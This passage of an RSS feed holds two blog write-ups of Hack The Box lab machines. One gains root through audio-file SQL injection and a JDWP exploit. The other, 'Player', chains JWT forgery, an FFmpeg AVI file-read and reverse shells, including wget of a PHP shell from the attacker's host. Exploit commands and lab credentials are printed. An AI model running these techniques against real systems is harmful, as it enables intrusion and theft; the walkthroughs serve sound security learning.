matches for host (test conditions non-ideal).<br>Uptime guess: 30.358 days (since Tue Nov  5 02:12:29 2019)<br>Network Distance: 2 hops<br>TCP Sequence Prediction: Difficulty=260 (Good luck!)<br>IP ID Sequence Generation: All zeros</pre><pre>TRACEROUTE (using port 80/tcp)<br>HOP RTT       ADDRESS<br>1   148.22 ms 10.10.14.1<br>2   148.44 ms 10.10.10.163</pre><pre>NSE: Script Post-scanning.<br>Initiating NSE at 10:48<br>Completed NSE at 10:48, 0.00s elapsed<br>Initiating NSE at 10:48<br>Completed NSE at 10:48, 0.00s elapsed<br>Initiating NSE at 10:48<br>Completed NSE at 10:48, 0.00s elapsed<br>Read data files from: /usr/bin/../share/nmap<br>OS and Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>Nmap done: 1 IP address (1 host up) scanned in 30.98 seconds<br>           Raw packets sent: 65 (4.740KB) | Rcvd: 56 (27.955KB)</pre><p>Let’s start enumerating port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wzp9GXiR_KsqQ1IAyjec9w.png" /></figure><p>I got this page on port 80 where we can upload only wav files, wav files are just audio files, and got nothing apart from this.</p><p>So, i read about wav file exploitation and found a tool text2wave who converts text into voice in wav format. then i made a file just for test purpose.</p><pre># cat file.txt<br>hello</pre><p>Our file contains a single world “hello”, let’s convert it into audio and after that we’ll upload it on server.</p><pre># text2wave file.txt -o sound.wav</pre><p>and our sound.wav is uploaded on server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*MZKsK3tWW8eWHkEFdUjNnA.png" /></figure><p>You can see that file data processed and printed in webpage by uploading sound.wav, it means server is understanding our text by wav file and server is converting this data by using database. so we may manipulate server by using database queries in wav file. Let’s try.</p><pre># cat &gt; file2.txt<br>open single quote - join - select database open parenthesis - close parenthesis - comment database</pre><pre># text2wave file2.txt -o sound2.wav</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*5UCGJAYhCQCOWcOiHYDVTA.png" /></figure><p>Here we go, we got database name and now we’ll dump passwords.</p><pre># cat &gt; file3 <br>open single quote - join - select password - from users - comment database</pre><pre># text2wave file3 -o sound3.wav</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*TdEl8G88ux_Zua-uRY7kvw.png" /></figure><p>And here server processed our query and we got password.</p><p>Now, we can take ssh using this username and password.</p><p>username: alexa</p><p>password: H,Sq9t6}a&lt;)?q93_</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*SlsxcjSrEzX0fmuH4XD-PA.png" /></figure><p>There no higher privileged user other than root, so for root i enumerate machine and got that java is running as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o2fRdi_xJwt0cKyn85KBNQ.png" /></figure><p>You should read this blog for better understanding that what is happening on server, how server is behaving and for about debugger. checklist</p><p><strong>working — we can run arbitrary command on server.</strong></p><pre><a href="https://ioactive.com/hacking-java-debug-wire-protocol-or-how/">https://ioactive.com/hacking-java-debug-wire-protocol-or-how/</a></pre><p>For this we have a python script which i cloned from github.</p><pre><a href="https://github.com/IOActive/jdwp-shellifier">https://github.com/IOActive/jdwp-shellifier</a></pre><p>Download this script and transfer it on vulnerable machine shell by python server.</p><p>And run this commands, after that the root is yours :)</p><pre>python jdwp-shellifier.py -t 127.0.0.1 --cmd &#39;chmod +s /bin/bash&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*WQGMvzYMMV1zsr2ThMBC_Q.png" /></figure><p>see in the screenshot, our command executed successfully and /bin/bash obtained suid permission.</p><p>Let’s exploit /bin/bash</p><pre>cd /bin<br>./bash -p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*Bw3Kzwb4IOJYrBhk-zn2rQ.png" /></figure><p>R00T3D!!!!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=210807b5b9ef" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Player — HTB — Hardeepsinghsandhu537]]></title>
            <link>https://medium.com/@hardeepsinghsandhu537/player-htb-hardeepsinghsandhu537-70ba841086ee?source=rss-3692c89b1d0d------2</link>
            <guid isPermaLink="false">https://medium.com/p/70ba841086ee</guid>
            <dc:creator><![CDATA[Hardeep Singh Sandhu]]></dc:creator>
            <pubDate>Sat, 18 Jan 2020 19:09:56 GMT</pubDate>
            <atom:updated>2020-01-18T19:09:56.628Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*Ci_IvP5vJESHk-gj_hY1AA.png" /></figure><p>IP — 10.10.10.145</p><p>Level — Hard</p><p>Platfrom — Linux</p><p>Nmap Scan:</p><pre># Nmap 7.80 scan initiated Mon Dec  9 10:03:49 2019 as: nmap -v -sC -sV -p22,6686,80 -A -oN nmap 10.10.10.145<br>Nmap scan report for 10.10.10.145<br>Host is up (0.16s latency).</pre><pre>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   1024 d7:30:db:b9:a0:4c:79:94:78:38:b3:43:a2:50:55:81 (DSA)<br>|   2048 37:2b:e4:31:ee:a6:49:0d:9f:e7:e6:01:e6:3e:0a:66 (RSA)<br>|   256 0c:6c:05:ed:ad:f1:75:e8:02:e4:d2:27:3e:3a:19:8f (ECDSA)<br>|_  256 11:b8:db:f3:cc:29:08:4a:49:ce:bf:91:73:40:a2:80 (ED25519)<br>80/tcp   open  http    Apache httpd 2.4.7<br>| http-methods: <br>|_  Supported Methods: OPTIONS GET HEAD POST<br>|_http-server-header: Apache/2.4.7 (Ubuntu)<br>|_http-title: 403 Forbidden<br>6686/tcp open  ssh     OpenSSH 7.2 (protocol 2.0)<br>| ssh-hostkey: <br>|_  256 b5:a4:dc:8b:10:03:18:6f:c5:67:65:5b:41:f3:b1:e1 (ECDSA)<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.16 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.13 (94%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 4.10 (93%), Linux 4.4 (93%), Linux 4.8 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%)<br>No exact OS matches for host (test conditions non-ideal).<br>Uptime guess: 0.028 days (since Mon Dec  9 09:25:07 2019)<br>Network Distance: 2 hops<br>Service Info: Host: player.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>TRACEROUTE (using port 22/tcp)<br>HOP RTT       ADDRESS<br>1   165.80 ms 10.10.14.1<br>2   165.82 ms 10.10.10.145</pre><pre>Read data files from: /usr/bin/../share/nmap<br>OS and Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br># Nmap done at Mon Dec  9 10:04:46 2019 -- 1 IP address (1 host up) scanned in 57.97 seconds</pre><p>Here we got 3 ports and <strong>hostname player.htb</strong>, In the next step we will scan vhosts and we can’t access port 80, it is forbidden, Let’s try directory brute force on port 80 and here we have two ssh ports and openssh7.2 seems to be vulnerable.</p><p>Gobuster output:</p><pre>root@kali:~/htb/player# gobuster dir -u <a href="http://player.htb/">http://player.htb/</a> --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt <br>===============================================================<br>Gobuster v3.0.1<br>by OJ Reeves (<a href="http://twitter.com/TheColonial">@TheColonial</a>) &amp; Christian Mehlmauer (<a href="http://twitter.com/_FireFart_">@_FireFart_</a>)<br>===============================================================<br>[+] Url:            <a href="http://player.htb/">http://player.htb/</a><br>[+] Threads:        10<br>[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt<br>[+] Status codes:   200,204,301,302,307,401,403<br>[+] User Agent:     gobuster/3.0.1<br>[+] Timeout:        10s<br>===============================================================<br>2019/12/14 18:13:28 Starting gobuster<br>===============================================================<br>/launcher (Status: 301)</pre><p>Vhosts output:</p><pre>root@kali:~/htb/player# wfuzz -c -f vhosts.txt -w /usr/share/seclist/Discovery/DNS/subdomains-top1million-5000.txt -u &quot;<a href="http://player.htb/">http://player.htb</a>&quot; -H &quot;Host: FUZZ.player.htb&quot; -t 42 --hl 1 --hc 403,404</pre><pre>Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&#39;s documentation for more information.</pre><pre>********************************************************<br>* Wfuzz 2.4 - The Web Fuzzer                           *<br>********************************************************</pre><pre>Target: <a href="http://player.htb/">http://player.htb/</a><br>Total requests: 4997</pre><pre>===================================================================<br>ID           Response   Lines    Word     Chars       Payload                                                                                                                                           <br>===================================================================</pre><pre>000000067:   200        63 L     180 W    1470 Ch     &quot;staging&quot;                                                                                                                                         <br>000000070:   200        259 L    714 W    9513 Ch     &quot;chat&quot;                                                                                                                                            <br>000000019:   200        86 L     229 W    5243 Ch     &quot;dev&quot;</pre><pre>Total time: 30.91763<br>Processed Requests: 4997<br>Filtered Requests: 4994<br>Requests/sec.: 161.6229</pre><p>Add vhosts entries in /etc/hosts file. Now we have enough thing for enumeration, Let’s first visit /launcher api first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fbYHLP1SsB5_DaTw0tGyLA.png" /></figure><p>We got this page where we can’t do anything, In this type of conditions we’ll try intercepting requests in burp.</p><p>I got this request when i reload this page and redirected to same page.</p><pre>GET /launcher/dee8dc8a47256c64630d803a4c40786e.php HTTP/1.1</pre><p>Let’s send some data in email box and see what we get.</p><pre>GET /launcher/dee8dc8a47256c64630d803a4c40786c.php HTTP/1.1</pre><p>And we got redirected again to index.html, So we got nothing here, Let’s move to vhosts enumeration.</p><p><strong>chat.player.htb</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3tSDj5VCs6BEHM356V_2Ug.png" /></figure><p>In conversation, we get to see a hint, see that message below.</p><pre>They mentioned our staging exposing some sensitive files and main domain  exposing source code which allowing them to access our product before  release. Currently our team working on the fix.</pre><p>And i again ran gobuster on all vhosts and found some interesting directories. I’ll show you only that directories which will helps us for enumeration.</p><p><strong>dev.player.htb</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lj8UGfso2Itb9sgrH1LQjA.png" /></figure><p><strong>dev.player.htb/.gitignore</strong> output:</p><pre>*~<br>*\#<br>*.swp<br>config.php<br>data/<br>workspace/<br>plugins/*<br>!plugins/README.md<br>themes/*<br>!themes/default/<br>!themes/README.md<br>.project<br>.buildpath<br>.settings/<br>.svn/<br>vendor/<br>composer.lock</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sPJrkdM6DEzITAOJxDQHDA.png" /></figure><p>Now we had seen in message that our main domain exposing source code.</p><p>So, for that i had run nikto and got nothing, then suddenly i remembered that we have php files on main domain so we may see the content of that files.</p><p>Then i found this link from google search.</p><pre><a href="https://www.rapid7.com/db/vulnerabilities/http-php-temporary-file-source-disclosure">https://www.rapid7.com/db/vulnerabilities/http-php-temporary-file-source-disclosure</a></pre><p>So after read this blog, i found that, .gitignore has also disallowed entries like this, So we can try this things to view source code.</p><p>For that i used “~” this for viewing source code but i didn’t like web output, then i used curl command.</p><pre>root@kali:~/htb/player# curl <a href="http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php~">http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php~</a><br>&lt;?php<br>require &#39;vendor/autoload.php&#39;;</pre><pre>use \Firebase\JWT\JWT;</pre><pre>if(isset($_COOKIE[&quot;access&quot;]))<br>{<br> $key = &#39;_S0_R@nd0m_P@ss_&#39;;<br> $decoded = JWT::decode($_COOKIE[&quot;access&quot;], base64_decode(strtr($key, &#39;-_&#39;, &#39;+/&#39;)), [&#39;HS256&#39;]);<br> if($decoded-&gt;access_code === &quot;0E76658526655756207688271159624026011393&quot;)<br> {<br>  header(&quot;Location: 7F2xxxxxxxxxxxxx/&quot;);<br> }<br> else<br> {<br>  header(&quot;Location: index.html&quot;);<br> }<br>}<br>else<br>{<br> $token_payload = [<br>   &#39;project&#39; =&gt; &#39;PlayBuff&#39;,<br>   &#39;access_code&#39; =&gt; &#39;C0B137FE2D792459F26FF763CCE44574A5B5AB03&#39;<br> ];<br> $key = &#39;_S0_R@nd0m_P@ss_&#39;;<br> $jwt = JWT::encode($token_payload, base64_decode(strtr($key, &#39;-_&#39;, &#39;+/&#39;)), &#39;HS256&#39;);<br> $cookiename = &#39;access&#39;;<br> setcookie(&#39;access&#39;,$jwt, time() + (86400 * 30), &quot;/&quot;);<br> header(&quot;Location: index.html&quot;);<br>}</pre><pre>?&gt;</pre><p>If you take a look on source code, you will clearly see that, if the source code doesn’t matches cookie then you will be redirected to index.html, So we need to create a jwt token with above access code and key which we get from source code for accessing that webpage.</p><p>For creating token, i copied cookie which i get from intercepted request of <a href="http://player.htb/launcher">http://player.htb/launcher</a>. we only need to put access code and key there because we have unauthorised cookie which have header and signature both. Let’s create new token using jwt.io.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tfEEc9Mu7JNJIs7_tQ5y9w.png" /></figure><p>I putted Normal cookie in the left side and replaced access code with the new one which i get from source code and add key in signature area and also check or tick on secret base64 encode .</p><p>Copy our new token, open burp suite intercept request and put the token in access parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ui9skRfHqmZ9Rd_zuR8TyQ.png" /></figure><p>After this step you will see a new directory in the response of this cookie. Let’s visit there.</p><pre><a href="http://player.htb/launcher/7F2dcsSdZo6nj3SNMTQ1/">http://player.htb/launcher/7F2dcsSdZo6nj3SNMTQ1/</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MkJaU0Ws3UTo78P8tS3sEg.png" /></figure><p>Here we can upload avi extension files (video files), So after enumerating a while i found a vulnerability in avi upload on github payloadallthethings.</p><pre><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS">https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS</a></pre><p>FFmpeg is an open source software used for processing audio and video formats. You can use a malicious HLS playlist inside an AVI video to read arbitrary files.</p><p>But here we don’t know what to read apart from /etc/passwd. So i came to know that staging is exposing some sensitive files. So let’s take a took on staging.player.htb.</p><p>Now here i get some error in contact.html. let me show how i got this error below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f3bs0oZgIfhx1fPQsydvAA.png" /></figure><p>when submitting this, we are getting error only for less than 1 second, it means screen is not holding for more than 1 sec. let’s intercept it to see the errors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xabiX66mcF4dRPEXra846g.png" /></figure><p>Here we got two interesting files for creating our avi file.</p><p>1. /var/www/backup/service_config</p><p>2. /var/www/staging/fix.php</p><p>Let’s create a avi file with whom we’ll be able to read files of remote server.</p><pre>python3 gen_xbin_avi.py file://var/www/backup/service_config config.avi</pre><p>Let’s upload and submit this file and buffer our video to see file content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*O-Ulokt1iWgGHCHB1L1TrA.png" /></figure><p>Now video is uploaded, click on buffed media to play video.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vSzGBemoBA0a2fLOWsiDMw.png" /></figure><p>With this file we got username and password of user telegen. with this same process i got a new user and got this user and password by fix.php.</p><p>peter : CQXpm\z)G5D#%S$y=</p><p>Now we have telegen user which is useless because we can’t login on ssh port 22 but we can login on port 6686 and here i found it has lshell which we can’t bypass, so went to web again and try this username and password and peter creds worked there. So let’s find a way to go into the machine.</p><pre>NOTE : you can also view /etc/apache2/sites-available/000-default.conf file just to find vhosts and their documentroot directory.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wXIQSxhC-JiUIfEZWBy0PQ.png" /></figure><p>There is only playbuff project where we can’t add any new files, so lets make a new project and add our reverse shell there.</p><p>For making a new project you will need to give name (happy) and as well as absolute path, so i had given /var/www/html/launcher/happy but we can’t give any other absolute path other than /var/www/demo.</p><p>So i made a new project with name happy and added absolute path /var/www/demo/happy. then i created a new file rev.php in which i’ll put my reverse shell content and save it.</p><p>Open up your nc listner and call your reverse shell. dev.player.htb/happy/rev.php.</p><pre>root@kali:~/htb/player# nc -lvp 443<br>listening on [any] 443 ...<br>connect to [10.10.15.50] from player.htb [10.10.10.145] 36818<br>Linux player 4.4.0-148-generic #174~14.04.1-Ubuntu SMP Thu May 9 08:17:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux<br> 16:09:59 up 30 min,  0 users,  load average: 0.04, 0.03, 0.03<br>USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>/bin/sh: 0: can&#39;t access tty; job control turned off<br>$ python -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;<br>www-data@player:/$ id<br>id<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>www-data@player:/$</pre><p>Here we got reverse shell of user www-data. you can use this command to bypass lshell of telegen to get user.txt</p><p>cmd: <strong>su -s /bin/bash telegen</strong></p><p><strong>PRIVILEGE ESCALATION:</strong></p><p>I ran <strong>pspy64</strong> as user www-data and found a process that is running as root. where www-data can write the file.</p><pre>2019/12/15 16:18:01 CMD: UID=0    PID=5474   | /usr/bin/php /var/lib/playbuff/buff.php</pre><p>you will get this line when you ran pspy64, this php file executing as root.</p><pre>www-data@player:/$ cat /var/lib/playbuff/buff.php<br>cat /var/lib/playbuff/buff.php<br>&lt;?php<br>include(&quot;/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php&quot;);<br>class playBuff<br>{<br> public $logFile=&quot;/var/log/playbuff/logs.txt&quot;;<br> public $logData=&quot;Updated&quot;;</pre><pre>public function __wakeup()<br> {<br>  file_put_contents(__DIR__.&quot;/&quot;.$this-&gt;logFile,$this-&gt;logData);<br> }<br>}<br>$buff = new playBuff();<br>$serialbuff = serialize($buff);<br>$data = file_get_contents(&quot;/var/lib/playbuff/merge.log&quot;);<br>if(unserialize($data))<br>{<br> $update = file_get_contents(&quot;/var/lib/playbuff/logs.txt&quot;);<br> $query = mysqli_query($conn, &quot;update stats set status=&#39;$update&#39; where id=1&quot;);<br> if($query)<br> {<br>  echo &#39;Update Success with serialized logs!&#39;;<br> }<br>}<br>else<br>{<br> file_put_contents(&quot;/var/lib/playbuff/merge.log&quot;,&quot;no issues yet&quot;);<br> $update = file_get_contents(&quot;/var/lib/playbuff/logs.txt&quot;);<br> $query = mysqli_query($conn, &quot;update stats set status=&#39;$update&#39; where id=1&quot;);<br> if($query)<br> {<br>  echo &#39;Update Success!&#39;;<br> }<br>}<br>?&gt;</pre><p>We can’t edit buff.php but its including a another file /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php</p><p>Let’s create our reverse shell and for this i will make a php reverse shell in my localhost and then i will wget it and rename it with dee8d****786g.php.</p><pre>$ wget <a href="http://10.10.15.50/shell.php">http://10.10.15.50/shell.php</a></pre><pre>$ mv shell.php dee8dc8a47256c64630d803a4c40786g.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jI1vhAwsy4psEvmRaLh36Q.png" /></figure><p>And open nc listner, after a bit of waiting i got root reverse shell.</p><p>COWABUNGA!!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70ba841086ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>